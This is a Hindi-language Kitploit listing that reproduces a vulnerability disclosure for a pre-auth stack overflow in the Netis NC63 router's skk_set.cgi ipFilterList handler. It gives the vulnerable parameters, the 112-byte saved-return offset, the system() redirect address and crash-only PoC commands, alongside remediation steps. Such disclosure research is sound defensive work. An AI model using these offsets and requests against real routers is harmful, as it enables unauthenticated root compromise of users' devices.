Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-76071 — Netis NC63 ipFilterList हैंडलर में असीमित sscanf स्कैनसेट के माध्यम से pre-auth स्टैक बफर ओवरफ्लो के लिए मूल शोध और गैर-विनाशकारी PoC | Kitploit
उपकरण/GitHubGitHub/ozcanpng/cve-2026-76071
IoT सुरक्षाभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगबाइनरी विश्लेषणफर्मवेयर विश्लेषण
GitHubozcanpng/cve-2026-76071

CVE-2026-76071

Netis NC63 ipFilterList हैंडलर में असीमित sscanf स्कैनसेट के माध्यम से pre-auth स्टैक बफर ओवरफ्लो के लिए मूल शोध और गैर-विनाशकारी PoC

रिपॉजिटरी देखें
14 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-76071: Netis NC63 में skk_set.cgi के ipFilterList हैंडलर में sscanf %[^,] के माध्यम से अनधिकृत प्री-ऑथ स्टैक बफर ओवरफ़्लो

शोधकर्ता: Özcan Ersan (@ozcanpng)

प्रकटीकरण स्थिति

  • CVE: CVE-2026-76071
  • विक्रेता: Netis Systems Co., Ltd.
  • उत्पाद: Netis NC63 AC1200 वायरलेस डुअल बैंड गीगाबिट MU-MIMO राउटर
  • परीक्षित फ़र्मवेयर: NC63_V3.0.0.3327
  • प्रभावित घटक: /bin/netis.cgi
  • एंडपॉइंट: POST /cgi-bin/skk_set.cgi
  • ट्रिगर: ipFilterList=mod
  • गतिशील रूप से पुष्ट किया गया पैरामीटर: destHost
  • वही पार्सर स्थैतिक रूप से इसके द्वारा पहुँचा गया: srcHost
  • प्रमाणीकरण: मान्य पथ में कोई भी प्रमाणीकरण नहीं देखा गया और न ही आवश्यक
  • आर्किटेक्चर: MIPS32r2 लिटिल-एंडियन, o32 ABI, uClibc
  • भेद्यता वर्ग: सहेजे गए रिटर्न-एड्रेस नियंत्रण के साथ स्टैक-आधारित बफर ओवरफ़्लो
  • मान्यकरण: पृथक QEMU यूज़र-मोड रनटाइम में मूल-हैश प्रोडक्शन CGI
  • तैयारी के समय CVE रिकॉर्ड स्थिति: आवंटित; CNA रिकॉर्ड विवरण भरा जाना बाकी

कार्यकारी सारांश

Netis NC63 फ़र्मवेयर V3.0.0.3327 में सामान्य MIB/मान पार्सर, ipFilterList के destHost फ़ील्ड को दो %[^,] स्कैनसेट के साथ पार्स करता है लेकिन बिना किसी अधिकतम फ़ील्ड चौड़ाई के। प्रत्येक रूपांतरण 16-बाइट स्थानीय स्टैक बफर में लिखता है। इसलिए एक सीधा HTTP क्लाइंट एक लंबा अल्पविराम-रहित घटक प्रस्तुत करके फ़ंक्शन के सहेजे गए नियंत्रण डेटा को अधिलेखित कर सकता है।

गतिशील रूप से परीक्षित दूसरे destHost घटक के लिए, सहेजा गया ra स्थानीय बफर से ठीक 112 बाइट्स दूर है। मूल-हैश CGI के विरुद्ध QEMU ट्रेसिंग ने 0x0040f7f4 पर हमलावर-चयनित तीसरी प्रविष्टि की पुष्टि की। एक अलग केवल-अवलोकन परीक्षण ने रिटर्न को मूल system() PLT पथ 0x00423ab0 पर पुनर्निर्देशित किया, जबकि हमलावर-नियंत्रित अनुरोध डेटा को सटीक MIPS a0 तर्क के रूप में संरक्षित रखा। एक संरक्षित /bin/sh ने मार्कर लॉग किया और कोई कमांड निष्पादित नहीं किया।

सार्वजनिक PoC में जानबूझकर केवल एक अत्यधिक लंबा B पैटर्न है। इसमें निजी नियंत्रण-स्थानांतरण मान या कमांड-सीमा निर्माण शामिल नहीं है।

प्रभावित आर्टिफैक्ट अखंडता

root@kitploit:~
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792  netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2  squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b  squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47  squashfs-root/lib/libapmib.so

मूल उत्पादन हैश

आक्रमण सतह और प्रमाणीकरण स्थिति

विक्रेता का फ्रंटएंड srcHost और destHost को तीन अल्पविराम-पृथक घटकों के रूप में बनाता है और उन्हें ipFilterList के साथ /cgi-bin/skk_set.cgi पर पोस्ट करता है:

root@kitploit:~
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();

request({
    url: "/cgi-bin/skk_set.cgi",
    data: param
});

विक्रेता फ्रंटएंड अनुरोध निर्माण

मान्य किए गए HTTP-आकार के CGI अनुरोध में कोई Cookie या Authorization हेडर नहीं था। /tmp/boa_auth अनुपस्थित था, फिर भी निष्पादन ipFilterList=mod और destHost पार्सर पथ में जारी रहा। मेमोरी-भ्रष्टाचार दोष FUN_0040f7f4 में चौड़ाई-रहित स्कैनसेट है; व्यापक CGI प्राधिकरण विफलता वह स्थिति है जो इस विशेषाधिकार प्राप्त हैंडलर को प्रमाणीकरण से पहले उजागर करती है।

अनधिकृत रूट CGI सीमा

स्रोत-से-सिंक ट्रेस

root@kitploit:~
Unauthenticated HTTP client
  |
  | POST /cgi-bin/skk_set.cgi
  | ipFilterList=mod
  | destHost=1,0.0.0.0,<long comma-free component>
  v
FUN_004138a0
  v
FUN_004134c8 (ipFilterList trigger row)
  v
FUN_00410898(request, "ipFilterList")
  v
FUN_0040f7f4(request, trigger, mib_table, pMib)
  |
  | get_request_param("destHost")
  v
sscanf(value, "%d,%[^,],%[^,]", ...)
  |
  | second destination: char[16]
  | no maximum scanset width
  v
saved fp overwrite -> saved ra overwrite -> controlled PC

मूल libapmib.so मेटाडेटा srcHost और destHost दोनों को प्रकार 0x0c पर मैप करता है, जो इस पार्सर मामले का चयन करता है। गतिशील मान्यकरण destHost के साथ किया गया था; srcHost को अलग गतिशील दावे के बजाय स्थैतिक समान-पार्सर कवरेज के रूप में शामिल किया गया है।

हैंडलर मार्ग और मूल MIB मेटाडेटा

भेद्य कोड

सामान्यीकृत Ghidra-व्युत्पन्न स्यूडोकोड:

root@kitploit:~
case 0x0c:
    value = get_request_param(request, metadata_name);
    sscanf(value,
           "%d,%[^,],%[^,]",
           &selector,
           first_ip_component,   /* char[16] */
           second_ip_component); /* char[16] */

    *(char *)(destination + field_offset) = selector;
    inet_aton(first_ip_component, destination + field_offset + 1);
    inet_aton(second_ip_component, destination + field_offset + 5);
    break;

असीमित स्कैनसेट रूपांतरण

sscanf() स्वाभाविक रूप से भेद्यता नहीं है। दोष यह है कि %[^,] में कोई अधिकतम फ़ील्ड चौड़ाई नहीं है, इसलिए sscanf को यह ज्ञान नहीं है कि प्रत्येक गंतव्य केवल 16 बाइट्स का है। एक क्षमता-जागरूक प्रारूप %15[^,] जैसी चौड़ाई का उपयोग करेगा, यह सत्यापित करेगा कि ठीक तीन रूपांतरण सफल हुए, और फिर पार्स किए गए पते मानों को मान्य करेगा। यह एक उदाहरण शमन है, विक्रेता पैच नहीं।

स्टैक भ्रष्टाचार विश्लेषण

FUN_0040f7f4 0x0040f7f4 पर शुरू होता है और एक 0x1d0-बाइट फ्रेम बनाता है:

root@kitploit:~
0040f7f4  addiu sp,sp,-0x1d0
0040f7f8  sw    ra,0x1cc(sp)
0040f7fc  sw    fp,0x1c8(sp)
0040f800  sw    s0,0x1c4(sp)

प्रकार-0x0c गंतव्य fp+0x14c और fp+0x15c पर हैं। सहेजा गया ra fp+0x1cc पर है, जो दूसरे बफर से सटीक दूरी बनाता है:

root@kitploit:~
0x1cc - 0x15c = 0x70 = 112 bytes

स्टैक लेआउट और सहेजा-गया-रा ऑफसेट

गतिशील सत्यापन

प्रोग्राम-काउंटर नियंत्रण

पृथक PC प्रमाण में 112 पैडिंग बाइट्स के बाद 0x0040f7f4 के तीन निम्न लिटिल-एंडियन बाइट्स का उपयोग किया गया; sscanf टर्मिनेटर ने चौथा शून्य बाइट प्रदान किया। QEMU ने अधिलेखित रिटर्न पते के कारण दो सामान्य पार्सर प्रविष्टियों के बाद एक तीसरी प्रविष्टि देखी:

root@kitploit:~
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

नियंत्रित तीसरी पार्सर प्रविष्टि

केवल-अवलोकन कमांड सीमा

एक अलग निजी मान्यकरण ने सहेजा गया ra=0x00423ab0 बनाया, जो मूल बाइनरी का system() PLT पथ है। रिटर्न पर एक नियंत्रित अनुरोध-कुंजी प्रत्यय MIPS a0 में बना रहा। डिस्पोज़ेबल रनटाइम ने /bin/sh को एक स्थैतिक लॉगर से बदल दिया:

root@kitploit:~
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.

यह पृथक प्रोडक्शन-कोड पथ में एक RCE प्रिमिटिव स्थापित करता है। भौतिक राउटर की सटीक एक्सप्लॉइट विश्वसनीयता, कर्नेल रैंडमाइज़ेशन व्यवहार और डिफ़ॉल्ट WAN एक्सपोज़र का परीक्षण नहीं किया गया।

रनटाइम समायोजन और साक्ष्य सीमा

परीक्षित netis.cgi प्रोडक्शन आर्टिफैक्ट के बाइट-समान है। क्योंकि qemu-user में फ़्लैश-समर्थित MIB स्थिति उपलब्ध नहीं है, डिस्पोज़ेबल rootfs ने एक खुलासा किया गया केवल-प्रयोगशाला libapmib.so समायोजन का उपयोग किया जिसने शून्यीकृत MIB स्थिति आवंटित की और एक पैक्ड-फ़ील्ड संरेखण समायोजित किया। इसने CGI, अनुरोध पार्सर, भेद्य sscanf, स्टैक फ्रेम, सहेजे गए रिटर्न ऑफसेट, एपिलॉग या system() पथ को नहीं बदला। स्थैतिक मेटाडेटा मूल विक्रेता libapmib.so से आया था।

मूल निष्पादन योग्य निश्चित आधार है, इसमें स्टैक कैनरी और RELRO का अभाव है, और इसमें एक्ज़िक्यूटेबल स्टैक और RWX सेगमेंट है। ये गुण एक्सप्लॉइटेबिलिटी विश्लेषण का समर्थन करते हैं लेकिन गतिशील PC और संरक्षित-सीमा परीक्षणों के विकल्प नहीं हैं।

बाइनरी हार्डनिंग स्थिति

सुरक्षित सार्वजनिक PoC

URL-एन्कोडेड बॉडी की ड्राई-रन जनरेशन:

root@kitploit:~
python3 poc/poc.py

अधिकृत डिस्पोज़ेबल लक्ष्य पर स्पष्ट संचरण:

root@kitploit:~
python3 poc/poc.py --target http://192.168.1.1 --send

सार्वजनिक स्क्रिप्ट ओवरफ़्लो स्थिति प्रदर्शित करने के लिए 115-बाइट B घटक का उपयोग करती है। इसे भेजने से CGI प्रक्रिया क्रैश हो सकती है। इसमें कोई कमांड स्ट्रिंग, शेलकोड, रिटर्न-टू-system पता, रिवर्स शेल या पर्सिस्टेंस नहीं है।

प्रभाव

सफल एक्सप्लॉइटेशन राउटर-प्रबंधन संदर्भ में हमलावर-चयनित कमांड निष्पादित कर सकता है। मूल Boa कॉन्फ़िगरेशन CGI को रूट के रूप में चलाता है। संभावित परिणामों में राउटर कॉन्फ़िगरेशन और गोपनीय जानकारी का खुलासा, DNS/फ़ायरवॉल/रूटिंग हेरफेर, ट्रैफ़िक पुनर्निर्देशन, सेवा व्यवधान और पूर्ण डिवाइस समझौता शामिल हैं।

उपचार

  1. प्रत्येक 16-बाइट गंतव्य के लिए %15[^,] का उपयोग करें और तीन सफल रूपांतरण आवश्यक करें।
  2. पार्सिंग से पहले अत्यधिक बड़े क्रमबद्ध होस्ट मानों को अस्वीकार करें।
  3. संग्रहीत करने से पहले सर्वर-साइड पर दोनों IP मानों को मान्य करें।
  4. विशेषाधिकार प्राप्त CGI डिस्पैच से पहले व्यवस्थापक प्राधिकरण लागू करें।
  5. चौड़ाई-रहित %s और %[...] के लिए हर मेटाडेटा पार्सर मामले का ऑडिट करें।
  6. स्टैक कैनरी, PIE, NX और RELRO के साथ पुनर्निर्माण करें।

साक्ष्य सूचकांक

evidence/README.md देखें। सामान्यीकृत स्यूडोकोड और निर्देश साक्ष्य attachments/decompiled-functions/ के अंतर्गत हैं।

प्रकटीकरण समयरेखा

  • 2026-08-16: खोज और पृथक प्रोडक्शन-बाइनरी मान्यकरण पूरा हुआ।
  • अगस्त 2026: VulnCheck को सूचित किया गया।
  • 2026-08-20: VulnCheck ने CVE-2026-76071 आवंटित किया और सार्वजनिक प्रकटीकरण अधिकृत किया।
  • 2026-08-20: सार्वजनिक-प्रकटीकरण पैकेज प्रकाशित किया गया।

संदर्भ

  • CVE-2026-76071
  • VulnCheck
  • Netis NC63 support page
  • CVE-2026-73673

कोई भौतिक राउटर फ़्लैश नहीं किया गया। कोई वास्तविक कमांड, शेलकोड, रिवर्स शेल, पर्सिस्टेंस, बाहरी नेटवर्क कनेक्शन या विनाशकारी ऑपरेशन उपयोग नहीं किया गया।

टूल डाउनलोड करें